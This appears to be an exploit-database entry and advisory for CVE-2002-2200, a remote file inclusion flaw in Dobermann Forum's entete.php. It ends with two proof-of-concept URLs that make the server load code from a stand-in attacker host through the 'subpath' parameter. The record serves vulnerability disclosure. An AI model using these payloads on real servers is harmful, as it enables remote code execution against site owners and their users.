Benjamin Lefevre Dobermann Forum 0.x - 'entete.php?subpath' Remote File Inclusion

Author: frog
type: webapps
platform: php
port: 
date_added: 2002-10-28 
date_updated: 2012-10-14 
verified: 1 
codes: CVE-2002-2200;OSVDB-60065 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/6057/info

Dobermann Forum is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Dobermann. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'subpath' parameter.

http://[target]/entete.php?subpath=http://[attacker]/banniere.php

http://[target]/topic/entete.php?subpath=http://[attacker]/banniere.php